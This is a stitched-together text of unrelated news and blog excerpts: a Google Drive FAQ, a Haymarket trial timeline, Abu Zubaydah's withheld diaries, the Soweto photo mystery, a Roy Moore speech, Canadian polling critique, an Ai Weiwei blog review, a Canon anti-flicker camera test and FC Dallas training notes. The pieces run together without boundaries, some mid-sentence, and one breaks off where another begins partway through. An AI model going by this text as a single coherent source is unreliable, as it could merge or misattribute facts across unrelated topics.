perform, publicly display and distribute such content. The rights you grant in this license are for the limited purpose of operating, promoting, and improving our Services, and to develop new ones." For content that is yours, Google can't re-use it for its own purposes. But it can use content you upload in order to serve you. This can include integrating services together (like reading your scanned pictures in order to OCR them), and it can include analyzing your files to target advertisements to you. Google already does this in GMail. Google doesn't currently serve ads in Google Docs (now called Google Drive), but it may, according to its license agreement, use data about the content you upload to target ads to you anywhere on the service. Google may also give up your data in response to a legal demand, like a subpoena. If you want your cloud storage to be a little more out of touch, you might be interested in Wuala, which has no storage servers in the United States. Or you might just want to keep your data off the Internet. Are there features missing from Google Drive? Updated twice Google only lets you synchronize files and folders placed in the Google Drive folder. The iOS apps aren't out yet and there's no news of versions for Windows Phones or BlackBerry. (Versions for Linux and for the Chrome OS that's on the Chromebooks are in the works, though.) Google Drive doesn't copy your Google Docs data to your computer, so you cannot access those files when offline. New! How safe is my data from hacking? Is it encrypted? Google Drive encrypts data between your computer and the Google servers. If you're using your Drive over the Web, the connection defaults to secure (HTTPS), and when you use the software that makes your Google Drive appear on your computer like a local hard drive, the data between your computer and Google is likewise encrypted. No casual hacker will be able to grab your files by monitoring or intercepting your Internet connection to Google. Your data is stored under lock and key at Google itself, but it is not encrypted on the Google servers. A Google rep explained why to me: Encrypting files stored at Google would prevent you from previewing them on the Web, and it would also prevent services like Google Goggles and its OCR engine from accessing files on your behalf. (I presume it would also prevent Google's ad-serving algorithms from scanning your data to serve you more targeted messages -- and this is how Google makes its money.) A Google Drive user asked me if files could be stored in an encrypted container like a TrueCrypt file. Google's response: "We see no reason why it would not work." However, a geek here at CNET said that accessing a TrueCrypt virtual drive remotely might be very slow. New! Can Google Drive be used as a backup service? Google Drive pricing for data storage is attractive, which may make it a good offline backup solution: For $9.99 a month, for example, you get 200GB of storage. The dedicated backup service Mozy only gives you 125GB for that price. But if you're going to use a cloud drive for backup, you need to be sure that it does more than just act as a virtual hard drive. Backup systems have to keep files that you mistakenly delete; you might want to be sure they keep older versions of your files as well. Google Drive does keep versions of files going back 30 days (more if you get into preferences) and keeps a trash folder for deleted files. So it can be used for backing up data. It's not a full all-system backup solution like Time Machine, but it's actually more forgiving of user error when it comes to file storage than the file systems built in to Windows or OS X.Here are a few reasons to stay home this New Year’s Eve: And most importantly, if you go out, you’ll miss #Open2017. #Open2017 is a 4-hour interactive live stream — for developers, by developers. We’ll get started one hour before the ball drops in New York City, then continue streaming until midnight in San Francisco. That’s right — we’re going to ring in the new year 4 times — each time with exciting new guests: My co-host will be Briana Swift, a long-time Free Code Camp contributor who also now works at GitHub. Wesley McCann will oversee our audio/video for this event. Together, our community will recap 2016, talk about tech, and explore what coding will be like in 2017. The entire event will be free and open to all. If you want to tune in and participate in our live chat, you can: Looking forward to seeing you there!1886 - May 5 - Mayor Harrison declares martial law in Chicago, which makes all public gatherings illegal. No more than two people can stand on a street corner to talk. Homes of labor activists are entered without search warrants. Union newpapers are closed down. Labor leaders are jailed. The tragedy is used to paint labor organizers with the same brush as Anarchists. August Spies, Henry Spies, Lizzie Holmes and Michael Schwab are arrested at the office of the paper Arbeiter-Zeitung. Also arrested are Adolph Fischer, Gerhard Lizius, Herman Pudewa, Lucy Parsons, Sarah Ames and Samuel Fielden. A search is underway for the arrest of Albert Parsons. 1886 - May 7 - Rudolph Schaubelt is arrested - Parsons travels over the next three days to Waukesha, Wisconsin. 1886 - May 14 - Louis Lingg is arrested after intensely resisting arrest. 1886 - May 17 - Grand Jury is called, and begins to examine witnesses 1886 - May 27 - Indictments are returned for the murder of Police Officer Degan for Albert Parsons, August Spies, Michael Schwab, Samuel Fielden, George Engle, Adolph Fischer, Oscare Neebe, Louis Lingg, William Seliger and Rudolph Schaubelt. The accused: Albert Parsons Parsons had been a Confederate Soldier. After coming to Chicago, he worked as a typesetter for the Tribune until he was fired for speaking against Capitalism. At the last minute Spies arranged for Parsons to speak at the rally. Parsons spoke for about an hour, and had left before the bomb was exploded. He fled after learning of the violence, but returned to stand with his comrades. His final words: "Let the voice of the people be heard!" August Spies Spies emigrated from Germany, and was the editor of the Arbeiter-Zeitung. On May 1, Spies led a parade of 80,000 workers striking for 8-hour days on a parade along Michigan Avenue. He was the first speaker at Haymarket. He left the rally before the violence. His final words: "The day will come when our silence will be more powerful than the voices you are throttling today." Michael Schwab Schwab emigrated from Germany. He believed in the use of violence only as a last resort. From his writings: "Violence is one thing and Anarchy is another... we advocated the use of violence against violence, but against violence only, as a necessary means of defense." He attended the start of the rally, but left to speak at another event. Samuel Fielden Fielden emigrated from England. He was the final speaker at the rally. He was stepping down from the speaker's wagon when the bomb went off. He was wounded in the knee. George Engel Engel emigrated from Germany. He lost faith in politics and once wrote, "Can anyone feel any respect for a government that accords rights only to the privileged classes, and none to the workers?" He was home, playing cards when the bomb went off. Adolph Fischer Fischer emigrated from Germany. He was a typesetter for the Arbeiter-Zeitung and an editor. He supervised the printing of the sheet advertising the rally and added the line, "Workingmen Arm Yourselves and Appear in Full Force." Spies convinced him to remove it before many copies were printed. He attended Haymarket, but left before violence began. His final words: "Hurray for Anarchy! This is the happiest moment of my life!" Oscar Neebe Neebe was born in New York, raised in Germany and moved to Chicago. He was a communist, and arranged labor demonstrations. He once wrote, "We socialists are great believers that the laboring men should educate themselves." He did not attend the Haymarket Rally. He suspected that a brewing company arranged for his conviction because he'd organized their workers. Louis Lingg Lingg emigrated from Germany. He was an organizer for the Carpenters' Union. He believed in fighting police violence with citizen violence, once writing, "if they use cannons against us, we shall use dynamite against them." William Seliger Lingg's landlord. He, Lingg and others manufactured bombs in his home. Escaped prosecution after he and his wife agreed to testify for the prosecution. Rudolph Schaubelt Schwab's brother in law. Was in police custody & released. The indictment accused Schaubelt of being the bomb thrower: "unlawfully, wilfully, feloniously, and of his malice aforethought, made an assault upon the body of Matthias J. Degan with a certain deadly and destructive instrument, charged with diverse dangerous and explosive substances..." He had left the country before they came looking for him again, and was never located. 1886 - June 5 - The Grand Jury reports its findings: that the bombthrowing was the result of a conspiracy. Cook County Courthouse and Jail at the time of the trial A very skewed attempt at creating a panorama of the "new" County Courthouse (built 1892-1893, on the same site as the old building). Entrance, (old) County Courthouse Detail, over the doorway arch (left side) Detail, over the doorway arch (right side) 1886 - June 21 - Jury selection begins; Parsons surrenders by walking in on the proceedings. The bailiff is told to 'go out and find jurors' - the jury pool is deeply tainted with prejudice against the defendants. Only two of the "anarchists" were at the scene at the time of the bombing, and both were on the wagon (podium) during the speech making, in public view. There has been more than one suggestion that the bomb was thrown by someone in the employ of Pinkerton. 1886 - August 20 - All 8 defendants are found guilty - All except Neebe are to be put to death by hanging. Neebe is sentenced to 15 years hard labor. Those condemned Henry Demarest Lloyd, a former editor editor of the Tribune, begins a national campaign for clemency. Governor Oglesby agrees to support this, if the businessmen are shown to support it. Lyman Gage (a banker) gathers 50 businessmen to convince them that it would improve labor relations. They seemed to agree, but would not cross Marshall Field, who stood against clemency. In the words of Studs Turkel, it was as if Field said, "Kill the bastards." 1887 - Nov 9 - 41,000 signatures from Chicago residents supporting clemency are present by the Amnesty Association. Letters from George Bernard Shaw and Tolstoy calling for clemency are said to have been received. 1887 - Nov 10 - Oglesby commutes the sentences for Samuel Fielden and Michael Schwab to life sentences. Lingg commits suicide by biting on a dynamite cap. He lives for many agonizing hours after the explosion. 1887 - Nov 11 - Spies, Parson, Fielden and Engle sing La Marseillaise - the song of the French Revolution - before they are hanged. La Marseillaise - English lyrics (final verse) Drive on sacred patriotism Support our avenging arms Liberty, cherished liberty Join the struggle with your defenders Under our flags, let victory Hurry to your manly tone So that in death your enemies See your triumph and our glory! Their bodies are released to their families. A diary about their funeral and follow up on the martyrs' stories, tomorrow. 1889 - In a huge public relations blunder, the City of Chicago, erects a 9 foot bronze statue at the site of the riot - as a tribute to the policemen who lost their lives. It became a traffic hazard. (It was possibly at this original location that it was struck by a streetcar.) 1900 - Statue is moved near Union Park. 1928 - Statue is moved into Union Park by the Park District. 1957 - Statue is moved to the northeast corner of the bridge over the Kennedy Expressway, on Randolph. 1969 - October - Statue is blown off its pedestal in an explosion (unsolved.) 1970 - October - Statue is blown off its pedestal in a second explosion (unsolved.) 1972 - January - Statue is moved to lobby of Police Headquarters (address at that time not known) Later - Statue is moved to Police Academy at 1300 W Jackson. Recently - Statue is relocated and rededicated at Police Headquarters at 3510 S Michigan - located by the building's entrance, off of the guarded parking lot. You can see the statue from the L platform at Bronzeville/35th Street. A nice inscription on the front, and some flowers left (by someone else) in memorial. This was irritating, and shows more of the spin that we saw at the Haymarket Square Memorial - failure to recognize that the majority of the deaths and the injuries were caused by other police officers. It isn't a lie - but it is a half-truth, and a bitter disappointment. If it was surrounded by such drivel in 1969 and 1970, I can understand why someone would have wanted to knock it off its pedestal. Please join me tomorrow for a diary about the Haymarket Martyrs' Memorial.When Abu Zubaydah had his Combat Status Review Tribunal hearing on March 27, 2007, the President of the tribunal admitted that the government could not or would not produce key volumes of Abu Zubaydah’s diaries in preparation for the hearing. From the evidence request I received, again, from your Personal Representative, you believe the statements in the Summary of Evidence document that you provided that–excuse me, that you were provided are a misrepresentation of what you actually wrote in your diary. I reviewed the Summary of Evidence document and noted that there were at least three items listed which specifically cited your diary as the source of the information. Each of these items referenced operational plans and actions which were associated with enemy forces of particular interest to the Tribunal. It would be helpful for the Tribunal to review the source document of these statements and hear your representation of what you wrote in your diary. I therefore found your diary request relevant. On February 22nd, I ordered the production of your diary. As of today, the government has produced portions of your diary. These have been provided to your Personal Representative to prepare for the Tribunal’s hearing today. I understand your statements provided today or the evidence previously provided will refer and provide us some of those diary entries for us to consider. I do need to address one additional matter regarding your diary. There are two volumes of your diary in U.S. Government custody: volumes five and six. The government has made a diligent effort to produce those volumes for us today but–; however, they have not been located. So they are not available for us during this hearing. I therefore find that the volumes five and six are not available for us during this hearing. Given this situation, the Tribunal will consider your statements if you wish to make any, of what you believe the diary entries represent. According to Abu Zubaydah, one thing included in the parts of the diary not turned over includes a condemnation of 9/11 and of the killing of innocent children, which violates the tenets of Islam. I can’t remember exactly what you talk about in my diary. I know exactly what I wrote. — writ wrote [asks for correction from Linguist] –One part I do remember, I write against eleven September. [snip] They killing of our child so we not care to killing their child; it’s not allowed in Islam. I have it exactly, if you read my diary nice, you will understand my idea nice. Since two years and one Presidential election have passed since that CSRT, and since we’ve been talking about evidence the CIA destroyed, I thought I’d check to see whether those diary sections still haven’t been turned over. Not only haven’t they been turned over, but neither have key parts of AZ’s diary that would describe the torture he underwent at the hands of the CIA’s contractors (as well as some drawings, the description of which has been redacted). In January, AZ’s lawyers moved to get a range of evidence from the government, include volumes 5 and 6 (described above), but also volumes 7 though 9, written while in CIA custody. Long after his 1992 [head] injury, once Petitioner had recovered the ability to speak and write, he began to keep a diary. It is his memory. Without it, he is lost. To date, Petitioner has completed eleven volumes of his diary, each written in a slender, bound notebook. He currently is writing volume 12. He wrote the first six volumes before his March 2002 arrest. Volumes 7 through 9 were drafted while Petitioner was in CIA custody. Volumes 10 and 11 were completed in DoD custody at Guatanamo, after September 2006; only these last two volumes, written after Petitioner was transferred from CIA to DoD custody, were given to counsel in late 2008 by Petitioner because they were in his possession. At the present time, Petitioner has access to volumes 1 – 4 in his cell, and the Government and CIA are wrongfully denying Petitioner access to volumes 5 – 9, which, arguably, are most relevant to issues that are likely to arise before this Court in connection with Petitioner’s defense. Volumes 5 and 6 were drafted before Petitioner’s arrest and date most closely to the time of his arrest. They are critically important to show what Petitioner was doing during this time frame and contain exculpatory evidence. For example, volumes 7 – 9 were drafted while petitioner was in CIA custody and recount his torture and damaging exculpatory admissions made by Petitioner’s torturers and other CIA officials. [my emphasis] The filing goes on to note that: English translations of his diary were quoted in his CSRT; AZ maintains the translations are inaccurate, but the government has not turned over those translations CIA operatives interrogated AZ about his diaries The government had allowed AZ to keep his diaries–until he got put in Gitmo (for what looks like a second time), when they were taken away from him The military has no objection to giving AZ his diaries, but CIA has refused to turn them over The whole filing is worth reading for the Kafkaesque situation it describes, in which AZ, whose memory is described to be completely dysfunctional, has been refused the sole record he has of the events of which he has been accused, even though at least three of those accusations come directly from his diary. And of course, as with the torture tapes, the CIA refuses to make available the evidence of what they did to AZ.Forty years after the Soweto uprising, and a photo of a young man carrying a dead child ricocheted around the world, his identity remains shrouded in mystery It was a photo seen around the world: Mbuyisa Makhubu, his face twisted with anguish, carrying 13-year-old Hector Pieterson in his arms after the child was fatally shot by South Africa’s apartheid-era police. 'My activism started then': the Soweto uprising remembered Read more Thousands of black children and teenagers had taken to the streets of Soweto in June 1976 to protest at being forced to study in Afrikaans. Police responded to the peaceful protest with force, spraying bullets at the schoolchildren. The images ricocheted around the world, helping to galvanise the international community against the brutality of the apartheid regime. What came next for South Africa was well documented, from the collapse of the regime to the Nelson Mandela’s election in 1994. But as the world marks 40 years since the Soweto uprising, the fate of Makhubu remains shrouded in mystery – a mystery that spans the globe and links the anti-apartheid hero to a man who has spent more than 11 years languishing in a Canadian prison after falling afoul of Canada’s immigration laws. In the days following the uprising, Makhubu’s image became synonymous with resistance, turning the 18-year-old into a target for apartheid police and forcing him to flee the country. A 1978 letter, sent from Nigeria, was the last time his family heard from him. A false identity In 1988, a man named Victor Vinnetou landed in Toronto using a Zambian passport. The passport was later determined to be false by immigration authorities in Canada. After a failed asylum application, Vinnetou disappeared. He was picked up by immigration authorities in Toronto in 2004. It was suspected Vinnetou was using a false identity and in 2012 an investigator was tasked with tracking down his real identity. The investigator homed in on South Africa, raising the possibility that the man – who had at that point been held in custody for eight years – could be the same person from the iconic photo of the Soweto uprising. The connection sparked excitement in South Africa, with some members of Makhubu’s family throwing their support behind the idea. “I’m convinced it is my uncle,” his nephew Zonghizile Makuba, 37, told the Guardian. “We have seen the picture and even I look like him. He has family features.” Facebook Twitter Pinterest A full frame of the famous photograph. Photograph: Keystone-France/Gamma-Keystone via Getty Images The man, he said, is able to describe the moment of carrying 13-year-old Hector Pieterson in vivid detail. “The problem is he says he didn’t want to reveal his identity because he thinks the apartheid government is still in power,” said Makuba. The man’s refusal to return to South Africa endured even after being told the African National Congress (ANC) was now in power, he said. Other family members pointed to the man’s birthmark and his knowledge of the family home and history to back the assertion that the man is South Africa’s long-lost hero. But there is scant evidence to support the link. South African officials travelled to Canada in 2013, hoping to bring him home to a hero’s welcome. Their efforts were stymied when the man – who they managed to establish was from South Africa – refused to answer most of their questions and accused the ANC of killing his parents. DNA tests were carried out using Makhubu’s surviving relatives in South Africa; the first test was contaminated and the second was inconclusive. Immigrant deaths expose 'legal black hole' of Canada's detention system Read more Detained in Canada As the case played out, Vinnetou remained in custody. Border authorities pointed to his refusal to help them confirm his identity to explain how he wound up as the longest-serving immigration detainee in Canada, kept in a prison cell for more than 11 years at the whim of an immigration detention system described by critics as a “legal black hole”. Mainly due to space constraints, as many as a third of those in immigration custody in Canada are held in provincial jails, often crammed in a small cell for upwards of 21 hours a day and without access to international calls or legal counsel, according to advocates. Canada remains one of the few western countries in the world without any limit on the detention of immigrants, leading to situations like that of Vinnetou, who spent years in prison despite never being charged with a crime. Time in detention can be particularly stressful for asylum seekers or those who have fled oppressive regimes, wreaking havoc on their mental state. “I’ve watched it make people crazy,” Macdonald Scott, an immigration consultant for Toronto law firm Carranza LLP, told the Guardian earlier this year. “I’ve watched it slowly kill my people.” Concerns about Vinnetou were raised at a recent detention hearing by his lawyer, who hinted that he may be suffering undiagnosed paranoia and delusions. Vinnetou was released on bail in January, with the understanding he would return to South Africa once the appropriate documents are secured. South Africa, however, refuses to issue the needed papers to him, leaving him in legal limbo in Canada. Makhubu’s sister pointed to Vinnetou’s fragile mental state to explain her hesitation in confirming whether he was the anti-apartheid icon. “I don’t know,” 62-year-old Ntsiki Gwendolyn Makhuba told the Guardian. “There is a [physical] resemblance but [the man] is clearly mentally unstable and very confused.”____ ROY S. MOORE, Republican of Alabama: Thank you. Thank you. [Crowd chanting “U.S.A.” ] Thank you. You know, I really want to thank you for coming tonight and realize when the vote is this close that it’s not over. And we still got to go by the rules about this recount provision and the secretary of state has explained it to us and we’re expecting that the press will go up there and talk to them to find out what the situation is. But we also know that God is always in control. You know, part of the thing — part of the problem with this campaign is we’ve been painted in an unfavorable and unfaithful light. We’ve been put in a hole, if you will. And it reminds me of a passage in Psalms 40. I waited patiently for the Lord. That’s what we’ve got to do. And he inclined it to me, heard my cry, brought us out of a horrible pit out of clay and set my feet on the rock and established my goings and put a new song in our mouth. A hymn praising to our God. Many shall see it and hear it and shall be moved by that, if you will. That’s what we’ve got to do is wait on God and let this process play out. I know it’s late. We can’t wait and have everybody wait until after 11:00. But the votes are still coming in and we’re looking at that. May God bless you as you go on, give you safe journey and thank you for coming tonight. It’s not over and it’s going to take some time. Thank you.COLUMBUS, Ohio -- Urban Meyer is 0-2 in his last two games at Ohio State. As shown by his speech to high school coaches last Friday at the Buckeyes’ coaching clinic, the losses have given Ohio State’s boss a chance at reflection and reinvention that he may not have had during the 24-0 start to his OSU tenure. It’s more difficult to make repeated references to “tactical errors” when you keep winning. Meyer is on a leadership kick. He has been for a couple years. He’s told the story of meeting a leadership consultant at an event at his home, picking his brain for several hours and using him to develop a leadership program for his players before last season. He’s instituting the same type of leadership classes for his coaches – he now calls
poll, that's as follows: Atlantic Canada: 106 persons Quebec: 275 persons Ontario: 330 persons Prairies: 209 persons British Columbia: 159 persons Of those 106 Atlantic Canadians, there's no way to see what ridings are represented. A person living in Gander, Newfoundland looking for an idea of how his or her neighbours plan to vote may not actually see the voting intention of anyone living in the same riding -- or the same province, for that matter. 3. Demographic blind spots Methods used to reach poll participants -- either by cold-calling telephone customers with live operators (Nanos Research), cold-calling telephone customers with an automated system (Forum Research and Ekos), or sampling internet users (Angus Reid, Ipsos, Abacus Data, Leger Marketing and Innovative Research) -- can exclude important demographics. According to Angus McAllister of McAllister Opinion Research, landline polls oversample the elderly and grossly undersample young adults -- especially working couples with young kids and students. Online polls lack the sample density to track opinions at a riding level, and tend to oversample young adults and undersample the elderly. Mobile telephone polls are prohibitively expensive, often costing four times as much as landline polls per completed interview. 4. No historical context The final issue is historical context: did the poll participant vote in 2011? Has their vote changed? Only Ipsos, Leger Marketing and Angus Reid specify that their participants are eligible to vote; all others simply say participants are Canadians 18 and older. Since 39 per cent of Canadians did not vote in 2011, knowing who did vote and for whom would help ground statements of votes lost or gained by parties in real data. Understanding all of this takes a poll headline from "Major Federal Parties Gripped in Very Tight Three Way Race" to "Between Sept. 8 and 10, 1,200 Canadian telephone owners participated in a nationwide survey and said if an election were held that day, 30.8 per cent would vote Liberal, 30.8 per cent would vote Conservative and 29.9 per cent would vote NDP; we didn't ask about ridings, candidates, their motives or whether they're even registered to vote." In other words, take results with several grains of salt -- especially if they've asked who voters prefer as prime minister. After all, the election is weeks away. Canadians may still change their minds in the voting booth as we saw in British Columbia in 2013, Ontario in 2014 and in the U.K. general election earlier this year. Take the political poll pledge! So, what's to be done? First of all -- and really, this goes without saying -- mark off some time on your schedule to vote on Oct. 19. Next: take the following pledge to help keep unhelpful opinion data off social media for the next 33 days. Please raise your right hand and repeat after me: Between now and Oct. 19, I pledge to only share polling data that reflects voter intention at the riding level. I know there's absolutely no reason to pay attention to nationwide polls of 1,000 random people, particularly if the poll asks whom they would vote for as prime minister. I accept that those polls are misleading and unhelpful. Instead, I pledge to help the party I support by ensuring I only promote data that is realistic and local, particularly if I live in a competitive riding. I shall not waver from my pledge, no matter what the CBC Poll Tracker says. Namaste.THE Twitter account of Ai Weiwei, China's foremost artist-activist, fell silent when he was arrested on April 3rd. Chinese state media suggest that he is guilty of "economic crimes" and a bevy of other reputation-killers such as plagiarism and being "erratic." But his imprisonment is clearly a means of shutting him up. A forceful advocate of democracy and free speech, Mr Ai used his blog to confront the fictions of government propaganda. With belligerent conviction, he railed against the inhumanity of a regime with no respect for the truth."Twitter is most suitable for me. In the Chinese language, 140 characters is a novella," says Mr Ai in an interview at the back of " Ai Weiwei's Blog ", a collection of over a hundred translated pieces culled from over 2,700 posts. Mr Ai's father, Ai Qing, was a poet who was deemed an enemy of the state in 1957, rehabilitated only when the Cultural Revolution died down in 1976. But Mr Ai had written very little himself. In fact, the visual artist barely knew how to type when he was invited by Sina, China's largest internet portal, to write a blog for their website.A proponent of simple, authentic architecture, not fancy forms for form's sake, Mr Ai has overseen some 70 architectural projects, and was a consultant on Herzog & de Meuron's "Bird's Nest" stadium for the Beijing Olympics. Some of Mr Ai's most memorable writings weave personal history with political and aesthetic principles. For example, his "earliest experience with architecture" took place when his father was sentenced to hard labour and re-education and the family was forced to live in an earthen pit in Xinjiang. "In political circumstances like those, living underground can provide an incredible feeling of security," he writes. "In the winter it was warm, in the summer it was cool. Its walls were linked with America." Mr Ai's father raised the ceilings of this home by burrowing down another 20 centimetres, and he dug out a bookshelf that eight-year-old Weiwei considered "the best". For these reasons, concludes the artist, "I don't believe in ideal architecture."In 2007 Mr Ai integrated his blog into his art when he was creating an epic performance titled "Fairytale". Through the internet, he recruited 1,001 Chinese people who had never been to Europe to wander around the small town of Kassel Germany during Documenta, a prestigious exhibition that takes place every five years. Mr Ai wanted to change their lives. The artist had spent 12 years in New York City; he understood the horizon-expanding powers of being abroad.The bulk of Mr Ai's writings preach the importance of various human rights to a Chinese audience who is not yet converted. On the eve of the 20-year anniversary of Tiananmen Square, he wrote with elegiac irony: "Let us forget June Fourth, forget that day with no special significance... People with no freedom of speech, no freedom of the press and no right to vote aren't human, and they don't need a memory… Forget those soldiers firing on civilians... the city and the square that didn't shed tears. Forget the endless lies, the leaders in power who insist that everyone must forget, forget their weakness, wickedness, and ineptitude… For our own survival, let us forget."When it comes to the West, Mr Ai is a fan of Andy Warhol, Barack Obama and Hillary Clinton. He is not so fond of Nancy Pelosi, an American congresswoman. After hearing her "mumbles" on human rights at the American Embassy in Beijing in May 2009, he declared: "I have finally witnessed the amount of money that could turn a once crafty heroine into an obsequious, culpable old bag." After her speech, he found plainclothes policemen waiting for him at his studio-home. They didn't have their police identification, so he called 110 (the equivalent of 911) and what followed was, as he puts it, "an absurdist novel gone wrong."Mr Ai has had many confrontations with the police, including one incident in Sichuan province where he was so badly beaten that he developed a cerebral haemorrhage that required surgery. Since his Sina.com blog was censored in May 2009, his existence has been erased from the digital domain on the Mainland. "Words can be deleted but the facts won't be deleted along with them," he affirms on Twitter via a VPN that allows him to jump over the Great Firewall. "No matter what happens, nothing can prevent the historical process by which society demands freedom and democracy," he asserts, adding, "What can they do to me?"Indeed, if anyone can survive unjust imprisonment, it is Mr Ai. In an interview with The Economist before he was incarcerated, he said that his father did not want him to be an artist for fear that he would suffer. "But I became an artist because, even under pressure, my father still had somewhere nobody could touch," he explained. "Even when the whole world was dark, there was something warm in his heart." "Ai Weiwei's Blog: Writings, Interviews and Digital Rants, 2006-2009" (MIT Press), edited and translated by Lee Ambrozy Picture credit: A self-portrait (top) taken during Ai Weiwei's arrest in Sichuan province (before he was beaten); it's 5am and he is in a hotel elevator with a policeman and a fellow activist. On April 9th Cai Yuan, an artist, and Ma Jian, a writer, staged a protest at Tate Modern by putting "Free Ai Weiwei" flyers all over his "Sunflower Seeds" installation; photo: Cai YuanColin Cowherd: You can teach and teach and teach, but you can’t teach that kid’s arm, Patrick Mahomes. Who does he remind you of? Andy Reid: “Well he’s got a little bit of probably everything in him. He’s got that core strength like Ben Roethlisberger. He’s got a little bit of the craziness like Brett Favre had, where he can kind of throw from every different angle you can imagine. He’s got arm strength like a few of the quarterbacks I’ve had, including Brett. And he’s got a nice little feel in the pocket. "But … he’s coming from an offense that isn’t real similar to what we do, so there’s going to be some learning here. We don’t expect him to play this year, we’ve got Alex. But we sure want him to prepare that way and to learn that way. You’ve got to have that urgency to do that and that little kick to the tail that you need to make sure you keep your nose to the grinder on the playbook and the different operations that we roll with. "So there’s got to be an intelligence there, and we feel like he’s got that too.”If you have ever photographed under flickering lights, such as the sodium vapor lamps especially common at sporting venues, you know what a problem that type of lighting can cause. One image is bright and the next is significantly underexposed with a completely different color cast. The bigger problem occurs when using fast/short action-stopping shutter speeds under these lights.In the top half of the included image are 8 consecutive frames captured from the Canon EOS 7D Mark II in 10 fps burst with a 1/1000 second shutter speed. The subject is a white wall and the lights are fluorescent tubes (I had to go all the way to my basement to find these). All images were identically custom white balanced from the center of an optimally-timed image. What you see is the frame capture frequency synching with the light flicker's frequency to cause a different result in almost every frame.The killer problem for post processing is that the entire frame is not evenly affected. Correcting this issue is a post processing nightmare. The cause of this problem is that, at fast/short shutter speeds, the flicker happens while the shutter curtain is not fully open.Because the shutter opens and closes only in the up and down directions (with camera horizontally oriented), the area affected runs through the frame in the long direction regardless of the camera's orientation during capture. When the flicker-effected area is fully contained within the frame, the amount of area affected is narrower at faster shutter speeds and wider with longer shutter speeds.At significantly longer shutter speeds, the effect from the flickering lights is better averaged in the exposures. At 1/25 second, a reference image I captured during the same test looks very nice.In this 7D II light flicker test, I shot at 1/500, 1/1000 (shown in the example) and 1/2000 seconds. The 1/500 second test showed approximately 2/3 of the frame severely affected at most, but the 10 frames captured around the most-effected frame had various amounts of one frame edge strongly affected. As you would expect, the 1/2000 second test showed an even narrower band of the flicker's effect running through the image (a smaller slit of fast-moving shutter opening being used), but... I'm guessing that there are not many venues with flickering-type lighting strong enough to allow use of this shutter speed at a reasonable ISO setting. The 1/500 and 1/1000 settings are more real world settings.The bottom set of results show off the Canon EOS 7D Mark II's awesome new Anti-flicker mode. The only difference in the capture of the second set of images was that Anti-flicker mode was enabled. These were a random selection of 8 consecutive frames, but the results from all Anti-flicker mode enabled frames were identical regardless of shutter speed tested. I'm not going to say that these results are perfectly-evenly lit, but... they are dramatically better than the normal captures and you will not see the less-than-perfectly-even lighting in most real world photos without a solid, light-colored background running through the frame.When enabled (the default is disabled), Flicker Mode adjusts the shutter release timing very slightly so that the dim cycle of the lighting is avoided. In single shot mode, the shutter release lag time is matched to the light flicker cycle's maximum output. In continuous shooting mode, the shutter lag and the frame rate are both altered for peak light output capture. In my tests above, the frame rate was reduced by 1-2 fps and shutter lag can be affected, making the camera feel slightly less responsive.The 7D II is able to work with light flicker occurring at 100Hz and 120Hz frequencies. When such flicker is detected but flicker mode is not enabled, a flashing FLICKER warning shows in the viewfinder. The FLICKER warning shows solid when a flicker is detected and the camera’s setting is enabled. Flicker detection has been working very well for me. From my own basement to an indoor sports venue to a trade show floor, I've seen the flashing "FLICKER" warning.Since the viewfinder's metering system is required for flicker detection, this feature is not available in Live View mode (due to the mirror being locked up). The mirror lockup feature is also disabled when Anti-flicker mode is enabled. The owner's manual indicates that Flicker mode is not going to work perfectly in all environments.In the test I shared in this post, flicker avoidance was perfect 100% of the time. I shot a soccer match at an indoor sporting venue with a complicated economy lighting system. In that shoot, the Anti-flicker mode was successful about 98% of the time in the about-350 images I captured. The post processing work required for this shoot was exponentially lighter than any of my many prior shoots at this venue. Sean's experience shooting an NCAA Division 1 football game under the lights was very good, but perhaps not as good as my 98% experience.Canon's new Anti-flicker mode is a game changer – it is going to save the day for some events. This feature alone is going to be worth the price of the camera for some photographers.Want a Canon EOS 7D Mark II? Get it at B&HIt was a cold and blustery day as I took in FC Dallas training. Temps in the 40s, no sun. FCD is out on Field 8 rather than the fenced on Field 1. That's mainly to protect the surface due to weather. This time of year the club often rotates fields. Today's session was just a scrimmage. I got to watch about 45 minutes of open play. I'll talk about it in a bit, but first some roster notes. Coach Oscar Pareja reminded me (see bottom of this post) that anyone missing isn't gone or cut. It just means they aren't under contract for next season so can't train. In some cases they may be gone, but in others the team is negotiating with them, or considering options, before potentially bringing them back. 2017 roster players missing today for non-specific reason: Carlos Cermeno, Anibal Chala, Eduardo Cortes, Coy Craft, Luis Gonzalez, Hernan Grana, Aaron Guillen, Atiba Harris, Walker Hume, and Chris Seitz. Players missing due to call up & are signed for '18: Kellyn Acosta, Jesse Gonzalez, Maynor Figueroa. Players missing for medical reasons & are signed for '18: Michael Barrios (right foot surgery, out 4 weeks), Jesus Ferreira (right meniscus, out 1 to 4 months), Carlos Gruezo (non-soccer related surgical procedure), and Victor Ulloa (surgery for sports hernia, out 4 to 6 weeks) Today's Game This will tell you who is here today. Gray in a 4-2-3-1, Orange is a 4-4-2. Teams are balanced, this isn't a starters vs reserved. Gray Team Maxi Urruti Ryan Hollingshead Mauro Diaz Bryan Reynolds Chris Cappis Jacori Hayes Alex Bautista Rula Holland Matt Hedges Reggie Cannon Seth Wilson Orange Team Tesho Akindele Cristian Colman Roland Lamah Paxton Pomykal Diego Pareja Edwin Cerrillo Julian Hinojosa Chris Richards Walker Zimmerman Adonijah Reid Carlos Avilez Who's Who of the Academy Kids Alex Bautista - left back. Short'ish. Likes to get forward. Looked quite comfortable today. Chris Cappis - A tall, deep-mid type. I've talked about him before a couple times. I'm a big fan. Edwin Cerrillo - Formally a striker, moving to midfield this year. He has a calming influence about him. Julian Hinojosa - Playing left back today, combined well and tried to support behind Lamah. Rula Holland - A left back or midfielder playing out of position today at center back... and you could tell. I've seen him in MF where he's more interesting. Diego Pareja - A.k.a Pareja Jr. Nice touch, good technical skill. Not physically ready and a bit wide-eyed today. Skills are there though. Chris Richards - Center back, he impressed me today. Lanky, but has pace and knows what he's doing. I'll be keeping an eye on him. Seth Wilson - a U17 keeper. Notes and Observations Bryan Reynolds is a Grown Ass Man (trademark Eddie Johnson). He's such an immense physical presence. Big, fast, powerful, intimidating, but with some skills on the ball. He really wants to go at people. He was almost never in FCD camp last season, I expect a significant contribution next year. Adonijah Reid is really short, but has some skill and quicks. He didn't seem to be too excited to be playing right back today though. Reggie Cannon is ready to take the next step. I'll be shocked if he isn't the right back for all of next season. Ruben Luna was here today. He's out of contract and asked Oscar if he could train. If FCD is looking for a veteran striker for cheap depth they could do worse. But the odds are long at this point. Yannick Abdallah, a trialist. I didn't see enough of him to really comment on his game, he came in at left 